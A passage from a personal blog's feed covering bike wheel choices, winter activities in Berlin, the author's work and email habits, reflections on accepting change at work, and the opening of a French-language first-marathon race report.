&lt;li&gt;They often incorporate advanced technologies, such as optimized rim profiles and high-quality hub components.&lt;/li&gt;
&lt;li&gt;DICUT wheels use custom "Nailhead" spokes.&lt;/li&gt;
&lt;li&gt;DICUT is generally found on the highest end wheels.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Key Differences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Performance Focus: DICUT wheels are more focused on top-tier performance, especially aerodynamics, while SPLINE wheels aim for a broader balance of performance and reliability.&lt;/li&gt;
&lt;li&gt;Spoke type: Dicut wheels use a specific "nail head" spoke, where spline uses standard straight pull spokes.&lt;/li&gt;
&lt;li&gt;Target Audience: DICUT wheels are typically geared towards competitive cyclists and those seeking the highest performance, whereas SPLINE wheels cater to a wider range of riders.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In essence, you can think of SPLINE as a foundation of quality engineering, and DICUT as a specialized, high-performance subset within that foundation.&lt;/p&gt;
&lt;p&gt;[source: Google Gemini]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="my-choice-pr-1400-dicut-oxic-32"&gt;My choice: PR 1400 DICUT OXiC 32&lt;/h1&gt;
&lt;p&gt;So this is it. More of a default choice for lack of options, really. I found them at a very good price online: &lt;a href="https://www.bike24.com/p2312070.html"&gt;DT Swiss PR 1400 DICUT 32 OXiC - Wheelset - Clincher - RW Double Crossed - QR - black&lt;/a&gt; for 799,99 € (discount of 30% - RRP was 1.149,80 €).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"QR" stands for Quick Release. "RW Double Crossed" refers to the spoke lacing pattern on the rear wheel (RW). Double Crossed means that each spoke on the rear wheel crosses over two other spokes before reaching the rim. This is a common and strong lacing pattern for rear wheels, offering a good balance of strength, stiffness, and power transfer. It's particularly useful on the drive side of the rear wheel, where the forces are higher&lt;/p&gt;
&lt;p&gt;[source: Google Gemini]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let's go!! 🚴🚀&lt;/p&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="wheels"></category></entry><entry><title>My Recipe To Survive Winter In Berlin</title><link href="https://romainpellerin.eu/my-recipe-to-survive-winter-in-berlin.html" rel="alternate"></link><published>2024-12-30T18:00:00+01:00</published><updated>2024-12-30T18:00:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-12-30:/my-recipe-to-survive-winter-in-berlin.html</id><summary type="html">&lt;p&gt;How to make the most out of winter in Berlin&lt;/p&gt;</summary><content type="html">&lt;p&gt;Making it through winter in Berlin is no easy feat. Here's how I do it 😁.&lt;/p&gt;
&lt;h1 id="christmas-markets"&gt;Christmas markets 🎄&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Christmas_markets_in_Berlin"&gt;Wikipedia says there are over 80 Christmas markets in Berlin&lt;/a&gt;. Granted, they're not all equally big nor interesting, but I'd say at least 15 of them are big, popular, and worth a visit!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/my-recipe-to-survive-winter-in-berlin/rathaus.jpg" alt="Two photos of the market at Rathaus" /&gt;
&lt;figcaption&gt;Christmas Market at Berlin City Hall&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;My personal favorite ones:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.berlin.de/en/christmas-markets/5096971-3230598-christmas-market-at-berlin-town-hall.en.html"&gt;Christmas Market at Berlin City Hall&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berlin.de/en/christmas-markets/3235772-3230598-christmas-market-at-gendarmenmarkt.en.html"&gt;Christmas Market on Gendarmenmarkt (Bebelplatz)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berlin.de/en/christmas-markets/8360550-3230598-christmas-market-at-the-humboldt-forum.en.html"&gt;Christmas Market at the Humboldt Forum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berlin.de/en/christmas-markets/3240314-3230598-christmas-market-charlottenburg-palace.en.html"&gt;Christmas Market at Charlottenburg Palace&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berlin.de/en/christmas-markets/3240367-3230598-lucia-christmas-market-at-kulturbrauerei.en.html"&gt;Lucia Christmas Market at Kulturbrauerei&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berlin.de/en/christmas-markets/5983209-3230598-medieval-christmas-market-at-the-raw-com.en.html"&gt;Medieval Christmas Market at the RAW Compound&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berlin.de/en/christmas-markets/5703554-3230598-heissa-holzmarkt.en.html"&gt;Heissa Holzmarkt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berlin.de/en/christmas-markets/3240274-3230598-christmas-market-at-kaiser-wilhelm-memor.en.html"&gt;Christmas Market on Breitscheidplatz&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/my-recipe-to-survive-winter-in-berlin/lucia1.jpg" alt="The Lucia market" /&gt;
&lt;figcaption&gt;Lucia Christmas Market at Kulturbrauerei&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;They usually open from late November till Christmas. A few will remain open until the first week of January. &lt;a href="https://www.berlin.de/en/christmas-markets/"&gt;Here is a map with all of them&lt;/a&gt; (as of December 2024, the page currently lists 97 markets in Berlin only).&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/my-recipe-to-survive-winter-in-berlin/lucia2.jpg" alt="The Lucia market" /&gt;
&lt;figcaption&gt;Lucia Christmas Market at Kulturbrauerei&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;They are mostly filled with food and drink stalls (try Glühwein 🍷), something like 80% of all stalls. The 20% remaining is decoration, handmade wooden items (famously coming from the Erzgebirge region) and clothing.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/my-recipe-to-survive-winter-in-berlin/potsdamer-platz.jpg" alt="Potsdamer Platz" /&gt;
&lt;figcaption&gt;Potsdamer Platz&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I googled it, apparently &lt;a href="https://www.thetimes.com/travel/destinations/europe-travel/best-christmas-markets-holidays-rff27td28"&gt;Germany is the country with the most Christmas markets in the world&lt;/a&gt;. And Gemini (Google's AI) as well as &lt;a href="https://www.travelawaits.com/3003548/european-cities-ranked-by-the-number-of-christmas-markets/"&gt;this website&lt;/a&gt; cite Berlin as the city with the most Christmas markets in the world. Needless to say, December is a festive and joyful month to be in Berlin.&lt;/p&gt;
&lt;h1 id="new-years-eve"&gt;New Year's Eve 🎆&lt;/h1&gt;
&lt;p&gt;Some like it very much, some hate it. One thing is for sure, New Year's Eve is nothing short of unique in Berlin, greatly due to the fact that the city turns into a giant firework! During the last 3 days of the year, supermarkets are allowed to sell fairly big fireworks to everyone. So on the 31th, when the sun sets until the early morning lights, you'll hear and see fireworks explosions everywhere, on every corner and every street! Take part, or flee!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/my-recipe-to-survive-winter-in-berlin/fireworks.jpg" alt="A photo showing a shop selling fireworks" /&gt;
&lt;figcaption&gt;A shop selling fireworks&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="saunas"&gt;Saunas 🧖&lt;/h1&gt;
&lt;p&gt;Ok, so past December, Christmas markets are gone. What now? Well friend, saunas!&lt;/p&gt;
&lt;p&gt;Again, another thing germans excel at! It would be almost impossible to count the number of saunas in Berlin, since they are virtually everywhere! &lt;a href="https://www.berlin.de/hotels/mit-sauna/"&gt;Hotels&lt;/a&gt;, &lt;a href="https://urbansportsclub.com/en/sports/sauna/berlin"&gt;gyms&lt;/a&gt;, &lt;a href="https://www.vabali.de/en/berlin/"&gt;dedicated wellness establishments&lt;/a&gt;, &lt;a href="https://www.berlinerbaeder.de/saunen/"&gt;public swimming pools&lt;/a&gt;, they're everywhere!&lt;/p&gt;
&lt;p&gt;In Winter, I'm a big sauna goer. My personal record: over 7 days, I went to saunas 5 times, in 4 different places.&lt;/p&gt;
&lt;h1 id="skiing-and-sledding"&gt;Skiing and sledding ❄️&lt;/h1&gt;
&lt;p&gt;Another winter activity: skiing! Not so much doable in Berlin, but easily reachable from Berlin by train or plane. Austria, France, and Switzerland are never far away, and Germany even has a few ski resorts, Garmisch-Partenkirchen being my favorite!&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/dbQCVTTu9ts" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;Admittedly, Berlin is flat and not very high above sea level, but it still snows decent amounts every year, usually in January and February, sometimes as early as November. &lt;a href="https://www.berlin.de/en/sports-leisure/sledding-hills/"&gt;There are a few spots in Berlin with small "hills" where sledding is possible!&lt;/a&gt;&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/my-recipe-to-survive-winter-in-berlin/tiergarten.jpg" alt="Tiergarten under snow" /&gt;
&lt;figcaption&gt;Tiergarten&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/my-recipe-to-survive-winter-in-berlin/brandenburger-tor.jpg" alt="Brandenburger Tor under snow" /&gt;
&lt;figcaption&gt;Brandenburger Tor&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/my-recipe-to-survive-winter-in-berlin/volkspark-friedrichshain.png" alt="People having fun and sledding at Volkspark Friedrichshain" /&gt;
&lt;figcaption&gt;Volkspark Friedrichshain&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/my-recipe-to-survive-winter-in-berlin/liepnitzsee.jpg" alt="Frozen lake with snow" /&gt;
&lt;figcaption&gt;Cycling on Liepnitzsee while the lake is frozen&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="indoor-activities"&gt;Indoor activities 🏠&lt;/h1&gt;
&lt;p&gt;Last but not least, cocooning and other indoor activities. Winter is a good time to do some minor repairs at home, build furniture, change one's interior decor, etc. Winter is also great for movies, binge watching TV series, and even clubbing! I usually pause or keep my clubbing to a minimum in summer, since I'm always outside running or cycling... but comes winter, I'm a different person 😜.&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="winter"></category><category term="berlin"></category><category term="germany"></category></entry><entry><title>The Way I Work: 2024 edition</title><link href="https://romainpellerin.eu/the-way-i-work-2024-edition.html" rel="alternate"></link><published>2024-11-28T23:20:00+01:00</published><updated>2025-02-24T18:28:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-11-28:/the-way-i-work-2024-edition.html</id><summary type="html">&lt;p&gt;An update to an article from 2019&lt;/p&gt;</summary><content type="html">&lt;p&gt;I wrote &lt;a href="https://romainpellerin.eu/the-way-i-work.html"&gt;the original article&lt;/a&gt; almost 6 years ago. This deserves a small update. Most of what's in the original article remains true. I'll only add/update some parts below.&lt;/p&gt;
&lt;h1 id="work-todo-list"&gt;Work TODO list&lt;/h1&gt;
&lt;p&gt;This has not changed much. Except that nowadays, I keep my TODO list in Asana instead of a simple text file, because it's backed up on a server and the UI is slightly nicer.&lt;/p&gt;
&lt;p&gt;I still have my items sorted by priority, from most pressing to least. I've stopped using the 3 groups I used to use (to do today, this month, some day...). I just keep "one list". For coding tasks that I want to do "some day", I simply create JIRA tickets and add them to the backlog.&lt;/p&gt;
&lt;h1 id="personal-todo-list"&gt;Personal TODO list&lt;/h1&gt;
&lt;p&gt;That one has quite changed over the years. What I've been doing lately is fairly simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On Sunday evenings, I plan the week to come and write my plan down on paper, usually assigning days to tasks. But only things I want to do that are not work-related nor sport-related. All my sport sessions are scheduled in my Google Calendar, on a fixed time slot, set to be recurring. I also leverage lunch breaks as much as possible when I'm working from home for my runs. So what goes in my weekly schedule? Things to book or buy, blog articles to write, repairs in the apartment to do, etc.&lt;/li&gt;
&lt;li&gt;Anything beyond the one week to come is added to my Google Calendar. So that I can "forget about these" until they show up in my Google Calendar again. When that happens, I'll put them on my TODO list for the week to come, on paper.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By doing this, I keep a fairly short TODO list, that I know will be completed by the end of the week. Having too many items in my list was too stressful, and I would be too undisciplined about it. The less items, the higher the completion rate.&lt;/p&gt;
&lt;p&gt;Also, I can plan things ahead in the future, then let time pass, and decide a few months later if I still want/need to do these things. Very useful.&lt;/p&gt;
&lt;h1 id="inbox-and-thunderbird"&gt;Inbox and Thunderbird&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;I'll just rewrite this whole section entirely, as there are some minor updates since the original article came out, but it still is a major piece of the way I work.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Any email usually fall in one of these three categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Action required on your side&lt;/strong&gt;: it could be a quick action (like replying) or a time-consuming one (like filling a form out).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Temporary/momentary information&lt;/strong&gt;: a piece of information valid for a short amount of time, or useful for a short amount of time, that can be discarded afterwards. Like being informed that somebody is leaving the company, hearing about an event being scheduled, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Important information that must be kept for a long time, or files&lt;/strong&gt;: for instance, a new process to book business trips that you need to remember, or an amendment to a work contract.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An email inbox works essentially just like a physical mailbox. Mail people get in their mailboxes also fall into these categories: bills are actions required on your side, postcards bring news only valid temporarily, payrolls are important information, parcels are like files, etc.&lt;/p&gt;
&lt;p&gt;Nobody would open a mailbox, see what's inside, and leave it there. Therefore, it does not make any sense to have inboxes full of emails. Leave alone unread emails.&lt;/p&gt;
&lt;p&gt;That's why I am doing Inbox Zero: I aim (and almost always succeed) at keeping my inbox empty. My strategy is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I open my email client a few times a day, usually at the beginning of the day, before lunch, after lunch, a few times in the afternoon when I'm on code-breaks, and before leaving work.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I process emails one by one:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If it's an "action required" email and the action takes less than 5 minutes, I do it immediately then delete the email.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;If it's an "action required" email and the action takes more than 5 minutes, I keep the email in my inbox and add a new entry in my TODO list such as "&lt;em&gt;reply to email from X&lt;/em&gt;" or "&lt;em&gt;do what X asked for&lt;/em&gt;". I will then delete the email when the action is done.&lt;/li&gt;
&lt;li&gt;If it's temporary information, I try to memorize it or I take note of it if needed and delete the email immediately. A temporary information could be a Google Calendar invite, a JIRA edit from my colleagues, an incident reported by New Relic, etc.&lt;/li&gt;
&lt;li&gt;If it's an important piece of information or a file, I move the email into the appropriate subfolder (they're called labels in Gmail). Examples are a contract (PDF document), an organizational change, a POST-MORTEM document that I believe will be useful in the future, a train ticket that will eventually be deleted when the trip is done, etc. For some attachments, I will save the file on my computer/in the cloud and delete the email right away.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As I just said, I use Gmail labels quite a lot, in the sense that many emails end up labeled, and leave my inbox immediately. However, I only have a handful of them, to keep things simple. Here are a few:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Upcoming&lt;/em&gt;: train tickets, hotel reservation, etc. Short-lived emails, usually with attached documents.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Archives&lt;/em&gt;: anything that must be stored on the long term, that do not necessarily contain any attachment.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also rely on Gmail filters extensively. I get a lot of emails I don't need to see at all, that I want deleted automatically. For instance, I often check the notifications on Github, therefore I don't need to also see the emails they send me. These get marked as read and trashed immediately through filters.&lt;/p&gt;
&lt;p&gt;Finally, I must confess I use Thundebird, and not the Gmail website. And I'm proud of it. The reasons I use Thunderbird are listed below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It works offline: I can access my emails when not connected to the Internet. Even though it happens very rarely, it's very handy when in the train for instance.&lt;/li&gt;
&lt;li&gt;Gmail is a website, and not a lightweight one. The tab consumes RAM memory, and opening/closing/opening it several times a day is not a better alternative, as it takes many seconds. Also I try to keep my number of opened tabs at any given time to a minimum.&lt;/li&gt;
&lt;li&gt;Gmail's UI is distracting, with many buttons here and there.&lt;/li&gt;
&lt;li&gt;I don't like the conversation-grouping feature of Gmail, I never got used to it. I think it can be disabled though. Thunderbird also has it but I disabled it.&lt;/li&gt;
&lt;li&gt;Thunderbird is simple, RAM-efficient. And having a distinct program for emails help see it as something important, it's not just another tab.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="slack"&gt;Slack&lt;/h1&gt;
&lt;p&gt;COVID changed things a lot. What I wrote back in 2019 does not stand anymore, I use Slack a lot now. More than I like to admit. More than emails. Constantly. And more than I'd like to. But this is what hybrid work takes.&lt;/p&gt;
&lt;h1 id="open-spaces-headphone-and-sound"&gt;Open spaces, headphone and sound&lt;/h1&gt;
&lt;p&gt;What I wrote back then still holds true, although I do not use headphones as much as I used to. I guess I can stand sound and noise more easily now. Also I am not in the office 5 days a week anymore...&lt;/p&gt;
&lt;h1 id="standing-up-while-working"&gt;Standing up while working&lt;/h1&gt;
&lt;p&gt;I'm still a big fan of standing desk. &lt;a href="https://romainpellerin.eu/motorizing-an-ikea-skarsta-standing-desk.html"&gt;I even motorized the one I have at home.&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="sports"&gt;Sports&lt;/h1&gt;
&lt;p&gt;In 2019, I was still occasionally smoking, and barely doing any sport, beside the one or two sessions per week at the gym. Things have changed SO MUCH since then. I now do every week 10+ hours of sport. My blog is full of articles about sports, so I won't expant on it here. But sports did change my life in many many ways, all of them positive.&lt;/p&gt;
&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Quite some changes since 2019, but some things remain. I guess we humans never stop experimenting, always seeking better ways to be more efficient. &lt;a href="https://romainpellerin.eu/living-in-germany-moving-to-berlin.html"&gt;Moving away from Paris&lt;/a&gt; most definitely did play a major role in reducing stress levels for me, as well as &lt;a href="https://romainpellerin.eu/living-in-paris-riding-a-bike-in-paris.html"&gt;commuting by bike&lt;/a&gt; and doing more sports in general.&lt;/p&gt;</content><category term="About me"></category><category term="work"></category></entry><entry><title>On Accepting Change At Work</title><link href="https://romainpellerin.eu/on-accepting-change-at-work.html" rel="alternate"></link><published>2024-11-14T23:00:00+01:00</published><updated>2024-11-14T23:00:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-11-14:/on-accepting-change-at-work.html</id><summary type="html">&lt;p&gt;Change is hard to accept sometimes. My views on the topic.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I just needed to write some thoughts "down" as a reminder for myself in the future.&lt;/p&gt;
&lt;p&gt;Accepting change is hard. Crazy hard. It's so easy to pick a side and remain stubborn about it. Look at politics for instance. But the thing is, most things are not binary. There is a scale of options or opinions that are possible, not just two. Like a former manager of mine used to say, "the truth lies somewhere in between".&lt;/p&gt;
&lt;p&gt;I'd like to mention a few examples to give context, from work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I used to be against TypeScript. I know advocate for it.&lt;/li&gt;
&lt;li&gt;I used to distrust most people above me in the hierarchy, and I liked to believe that I could do their job better at best, or that their role was useless at worst. I've now been a manager for 2 years and I see things COMPLETELY differently. I still do believe that some managers are totally slacking off or just bad at their job though...&lt;/li&gt;
&lt;li&gt;I used to be against new processes. I just would not event try to put myself in other people's shoes and claim existing processes were enough. Again, I've changed my approach.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A perfect example is mandatory pull request reviews from code owners. I fought very hard against this. I thought this was a vast of my time: it would slow me down as I'd need to wait for approvals, and also would distract me by having me review things I had no clue about. When it was first implemented at work, I even created a cron job that would automatically approve PRs for which my review was requested. I think I kept it running a day or two before realizing how stupid this was. Nowadays, I'm 100% convinced by the value of mandary reviews by code owners.&lt;/p&gt;
&lt;p&gt;There are plenty of other examples... Anyways, I just wanted to write a short article about that. I might develop these thoughts further some day, for now I'll stop here.&lt;/p&gt;</content><category term="About me"></category><category term="work"></category></entry><entry><title>Mon premier marathon : récit d'une course parfaite</title><link href="https://romainpellerin.eu/mon-premier-marathon-recit-d-une-course-parfaite.html" rel="alternate"></link><published>2024-11-01T23:00:00+01:00</published><updated>2025-03-24T23:30:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-11-01:/mon-premier-marathon-recit-d-une-course-parfaite.html</id><summary type="html">&lt;p&gt;Tout sur le déroulé de mon premier marathon&lt;/p&gt;</summary><content type="html">&lt;p&gt;ÇA Y EST JE L'AI FAIT ! Marathonien ! Dingue, je réalise toujours pas. Après des mois de préparation, plusieurs blessures et plusieurs articles de blog, c'est fait ! Qui plus est, j'ai atteint mon objectif : moins de 3 heures 30 ! Allez, je vous raconte.&lt;/p&gt;
&lt;h1 id="motivation"&gt;Motivation&lt;/h1&gt;
&lt;p&gt;Tout commence réellement il y a un an et demi. Un ami d'enfance (coucou Robin !) passe de fumeur sédentaire à coureur à pied du jour au lendemain avec comme objectif un marathon en 2025. Moi qui courrais péniblement entre 200 et 300 kilomètres par an depuis 2020 sans objectif aucun, voilà qui me donne des idées. Mais à cette époque, je ne jure encore que par le vélo. Mon premier triathlon n'a toujours pas eu lieu, et le semi de Berlin couru en 2h00'22" l'année précédente n'a déclenché aucune passion. Plutôt l'inverse, je me souviens franchir la ligne d'arrivée, après 21 kilomètres, et me dire qu'il me serait absolument impossible de faire un kilomètre de plus.&lt;/p&gt;
&lt;p&gt;Le triathlon arrive en Juin et se passe plutôt bien, performance en course correcte dans l'absolu pour quelqu'un qui court peu mais franchement nulle comparée à mon niveau en vélo : allure de 5'09"/km, sur une distance de 4.25 kilomètres. Alors ok, je viens de nager et faire 20 kilomètres de vélo, mais soyons honnête c'est pas grand chose. Je savais que je pouvais faire beaucoup mieux.&lt;/p&gt;
&lt;p&gt;La fin de l'été 2023 est là et un constat s'impose à moi : je &lt;del&gt;dois&lt;/del&gt; veux perdre 5 kgs pour être meilleur sur le vélo, notamment en montagne. Je viens à nouveau de participer à &lt;a href="https://www.youtube.com/watch?v=5HFE9ff-L7o"&gt;l'Étape du tour&lt;/a&gt;, et malgré une belle progression entre &lt;a href="https://www.youtube.com/watch?v=mbuaO588suU"&gt;2022&lt;/a&gt; et 2023, le constat est que j'ai quand même 5 kgs superflus qui me font perdre du temps en montagne. Pourquoi 5 ? Un chiffre un peu au hasard au doigt mouillé, sorti après m'être contemplé 30 secondes devant un miroir 😆. Chiffre réaliste quand même. L'objectif est donc de descendre à 75 kgs pour 1,87m. Le plan est simple : &lt;a href="https://romainpellerin.eu/objectif-75-kg-et-toucher-le-sol.html"&gt;changement d'alimentation (ou plutôt rééquilibrage) et augmentation du sport, notamment de la course à pied, de manière pérenne&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;En parallèle, &lt;a href="https://romainpellerin.eu/plantar-fasciitis.html"&gt;la fasciite plantaire que je me traîne depuis le semi de Berlin en 2022&lt;/a&gt; s'améliore vraiment, je n'ai quasi plus mal, ça me remotive. &lt;a href="running-and-pronation.md"&gt;J'en profite pour m'acheter de nouvelles chaussures et augmente mon volume kilométrique dès l'automne 2023.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;L'année avance, l'hiver pointe le bout de son nez et au boulot je remarque que, quand même, beaucoup de gens courent, la trentaine oblige. Par ailleurs, les beaux jours étant terminés, un certains nombre de cyclistes se transforment en coureurs, et ça se voit sur Strava !&lt;/p&gt;
&lt;p&gt;Finalement, le coup de grâce viendra en Novembre ou Décembre 2023, lorsque les résultats de la loterie du marathon de Berlin tombent : trois très bon amis de Berlin, cyclistes aussi, sont pris et feront le marathon de Berlin en 2024. C'en est trop pour mon ego, je suis challengé !&lt;/p&gt;
&lt;p&gt;L'hiver 2023/2024 passe, ponctué de ski et de course à pied, et ma motivation à courir ne fait que grandir. Je parviens à maintenir un volume kilométrique certes faible mais constant, et en progression tout l'hiver. Je m'inscris à nouveau au semi de Berlin pour Avril, à un 5 kilomètres trois semaines plus tard, et à un 25 kilomètres en Mai. Je parviens même à courir un 21 kilomètres dans un parc fin Décembre, hors compétition, juste pour le fun avec des amis.&lt;/p&gt;
&lt;p&gt;Là, ça y est je suis motivé à bloc ! Moi aussi, je ferai un marathon. Tout d'un coup, ce qui me semblait impossible 2 ans plus tôt me semble maintenant atteignable.&lt;/p&gt;
&lt;p&gt;Je savais que Robin allait faire celui de Paris en 2025, je me décide à m'inscrire aussi. Mais finalement, voyant ma progression rapide et surtout anticipant mon impatience, je décide de ne pas attendre une année supplémentaire : &lt;a href="https://romainpellerin.eu/ziele-fuer-2024.html"&gt;2024 sera l'année de mon premier marathon !&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Février 2024, il est trop tard pour tenter sa chance à la loterie de Berlin. Je cherche un marathon local pour la fin d'année : ce sera à Dresden, à moins de 2h de Berlin en train, une très jolie ville que je connais déjà, parcours assez plat, météo généralement clémente en Octobre. Entre 5000 et 10000 participants sur marathon et semi marathon.&lt;/p&gt;
&lt;p&gt;2 mois plus tard, les inscriptions ouvrent pour Paris 2025 : me voilà aussi inscrit.&lt;/p&gt;
&lt;p&gt;Et là tout s'enchaîne, mais surtout les courses 😁 : &lt;a href="https://romainpellerin.eu/lessons-learned-apres-4-ans-de-running.html"&gt;semi de Berlin&lt;/a&gt;, nouvelles chaussures (encore !), 5 kilomètres, &lt;a href="https://romainpellerin.eu/spring-2024.html"&gt;25 kilomètres&lt;/a&gt;, triathlon, 10 kilomètres - &lt;a href="https://romainpellerin.eu/recit-d-une-course-inachevee.html"&gt;et bien sûr en continuant le vélo&lt;/a&gt;. À chaque course, un nouveau record ou presque. Je suis tellement à fond dans la course à pied, que j'entreprends de &lt;a href="https://romainpellerin.eu/running-building-my-own-training-plan.html"&gt;me concevoir mon propre plan d'entraînement (j'ai abandonné depuis, y'a des apps qui font très bien le taf !)&lt;/a&gt; et surtout je veux &lt;a href="https://romainpellerin.eu/running-calculators.html"&gt;tout comprendre avec des chiffres&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Cependant, 2024 aura été ponctuée de plusieurs blessures aussi : &lt;a href="https://romainpellerin.eu/periostite-2024.html"&gt;une longue périostite post-semi-marathon&lt;/a&gt;, une &lt;a href="https://romainpellerin.eu/10-kms-et-entorse-de-la-cheville.html"&gt;entorse de la cheville&lt;/a&gt;, et plus récemment &lt;a href="https://romainpellerin.eu/calf-muscle-tear.html"&gt;une douleur étrange dans un mollet, qui persiste&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Mais voilà, tout ça m'aura amené à ce jour du 27 Octobre 2024 : mon premier marathon.&lt;/p&gt;
&lt;h1 id="entrainement-et-etat-des-lieux-davant-course"&gt;Entraînement et état des lieux d'avant course&lt;/h1&gt;
&lt;p&gt;Comme je l'écrivais au dessus, 2024 fut marquée par 3 blessures significatives :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une périostite, d'avril à août&lt;/li&gt;
&lt;li&gt;une belle entorse mi septembre, à 6 semaines du marathon, m'obligeant à ne pas courir pendant 11 jours d'affilée&lt;/li&gt;
&lt;li&gt;une déchirure/contracture/? musculaire au mollet gauche, juste après l'entorse, que j'ai toujours aujourd'hui&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Concernant mon mollet, j'ai mis les bouchées doubles sur le renforcement musculaire et autres exercices dans les semaines précédant la course, et ça a l'air d'avoir plutôt bien marché puisque la douleur avait nettement diminué au fil des jours, au point d'être totalement supportable pendant la course.&lt;/p&gt;
&lt;p&gt;En ce qui concerne mon entraînement, j'ai commencé un plan d'entraînement sur l'application Kiprun Pacer fin Juillet, ce qui me laissait 13 semaines jusqu'au 27 Octobre. 4 sorties par semaine, que j'ai globalement assidûment respectées. Deux exceptions : 11 jours sans courir après l'entorse, et une sortie longue de 19 kilomètres à J-7 que j'ai sautée, à cause de ma douleur au mollet, mais aussi et surtout car le même jour je faisais 100 kilomètres de vélo.&lt;/p&gt;
&lt;p&gt;En cette veille de course, je me retrouve à avoir cumulé sur l'année près de 1200 kilomètres de course à pied, et ma blessure au mollet est largement supportable. Quant à l'entorse, elle est guérie à 100%.&lt;/p&gt;
&lt;h1 id="hotel"&gt;Hôtel&lt;/h1&gt;
&lt;p&gt;Pour ce premier marathon qui n'était pas à la maison, je voulais optimiser la logistique le plus possible. J'ai donc pris un hôtel littéralement en face de la ligne d'arrivée du marathon, et à 1 km du départ : le &lt;a href="https://maps.app.goo.gl/eohnJQWRoja8nRNY7"&gt;Maritim Hotel&lt;/a&gt;. Par chance, l'Expo (le village), là où on récupère le dossard, était dans le bâtiment d'à côté, un centre des congrès.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/dresden-marathon/hotel.jpg" alt="Intérieur de l'hôtel" /&gt;
&lt;figcaption&gt;Vue intérieure de l'hôtel&lt;/figcaption&gt;
&lt;/figure&gt;

